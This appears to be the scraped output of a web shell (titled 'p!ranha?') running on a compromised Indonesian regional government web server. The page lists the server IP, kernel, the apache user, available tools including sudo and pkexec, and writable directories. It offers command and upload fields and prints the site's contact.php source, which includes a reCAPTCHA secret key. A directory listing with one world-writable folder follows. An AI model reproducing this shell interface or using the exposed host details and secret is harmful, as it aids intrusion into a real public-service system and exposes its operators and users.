p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.216.187
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/assets/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/assets/contact.php
<?php
// require ReCaptcha class
require('recaptcha-master/src/autoload.php');

// configure
$from = 'Demo contact form <demo@domain.com>';
$sendTo = 'Demo contact form <demo@domain.com>';
$subject = 'New message from contact form';
$fields = array('name' => 'Name', 'surname' => 'Surname', 'phone' => 'Phone', 'email' => 'Email', 'message' => 'Message'); // array variable name => Text to appear in the email
$okMessage = 'Contact form successfully submitted. Thank you, I will get back to you soon!';
$errorMessage = 'There was an error while submitting the form. Please try again later';
$recaptchaSecret = '6LfyWDEUAAAAAIKw6xCHRwn8yoRqvsQtontBs4-b';

// let's do the sending

try
{
    if (!empty($_POST)) {

        // validate the ReCaptcha, if something is wrong, we throw an Exception, 
        // i.e. code stops executing and goes to catch() block
        
        if (!isset($_POST['g-recaptcha-response'])) {
            throw new \Exception('ReCaptcha is not set.');
        }

        // do not forget to enter your secret key in the config above 
        // from https://www.google.com/recaptcha/admin
        
        $recaptcha = new \ReCaptcha\ReCaptcha($recaptchaSecret, new \ReCaptcha\RequestMethod\CurlPost());
        
        // we validate the ReCaptcha field together with the user's IP address
        
        $response = $recaptcha->verify($_POST['g-recaptcha-response'], $_SERVER['REMOTE_ADDR']);


        if (!$response->isSuccess()) {
            throw new \Exception('ReCaptcha was not validated.');
        }
        
        // everything went well, we can compose the message, as usually
        
        $emailText = "You have new message from contact form\n=============================\n";

        foreach ($_POST as $key => $value) {

            if (isset($fields[$key])) {
                $emailText .= "$fields[$key]: $value\n";
            }
        }
        

        $headers = array('Content-Type: text/plain; charset="UTF-8";',
            'From: ' . $from,
            'Reply-To: ' . $from,
            'Return-Path: ' . $from,
        );

        mail($sendTo, $subject, $emailText, implode("\n", $headers));

        $responseArray = array('type' => 'success', 'message' => $okMessage);
    }
}
catch (\Exception $e)
{
    $responseArray = array('type' => 'danger', 'message' => $errorMessage);
}

if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
    $encoded = json_encode($responseArray);

    header('Content-Type: application/json');

    echo $encoded;
}
else {
    echo $responseArray['message'];
}
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 03 2025 03:29:06
1000 / 1000
0755
SP
--
December 21 2023 09:28:58
1000 / 1000
0755
css
--
December 21 2023 09:23:14
1000 / 1000
0755
gallery
--
December 21 2023 09:26:30
1000 / 1000
0755
js
--
December 21 2023 09:26:45
1000 / 1000
0755
juknis_online
--
December 21 2023 09:26:48
1000 / 1000
0755
juknis_simolek
--
December 21 2023 09:26:51
1000 / 1000
0755
pejabat
--
December 21 2023 09:27:18
1000 / 1000
0755
post
--
August 20 2026 04:21:39
1000 / 1000
0777
recaptcha-master
--
December 21 2023 09:28:20
1000 / 1000
0755
sop
--
December 21 2023 09:28:40
1000 / 1000
0755
BANNER_MPP_1.png
290.53 KB
January 13 2024 08:31:37
1000 / 1000
0755
SURAT_PERNYATAAN_PERMOHONAN_PERUBAHAN_DATA.docx
16.928 KB
January 13 2024 08:31:39
1000 / 1000
0755
contact.php
2.642 KB
January 13 2024 08:31:37
1000 / 1000
0755
formulir_perubahan_data.png
383.655 KB
January 13 2024 08:31:37
1000 / 1000
0755
index.html
0 KB
January 13 2024 08:31:37
1000 / 1000
0755
perizinan_online2.png
417.989 KB
January 13 2024 08:31:37
1000 / 1000
0755
sotk_dpmptsp_2022.jpg
964.402 KB
January 13 2024 08:31:38
1000 / 1000
0755
sotk_dpmptsp_2022.png
222.442 KB
January 13 2024 08:31:38
1000 / 1000
0755
sotk_dpmptsp_2022_1.jpg
259.397 KB
January 13 2024 08:31:38
1000 / 1000
0755
struktur_organisasi_dpmptsp.png
161.162 KB
January 13 2024 08:31:38
1000 / 1000
0755
struktur_organisasi_dpmptsp_2018.jpg
151.706 KB
January 13 2024 08:31:38
1000 / 1000
0755
struktur_organisasi_dpmptsp_kota_pekanbaru_per_31_jan_2021_sesuai_sk_bkpsdm-0.jpg
1 MB
January 13 2024 08:31:38
1000 / 1000
0755
struktur_organisasi_dpmptsp_kota_pekanbaru_per_31_jan_2021_sesuai_sk_bkpsdm.jpg
954.851 KB
January 13 2024 08:31:38
1000 / 1000
0755
struktur_organisasi_dpmptsp_kota_pekanbaru_per_31_jan_2021_sesuai_sk_bkpsdm.png
234.21 KB
January 13 2024 08:31:38
1000 / 1000
0755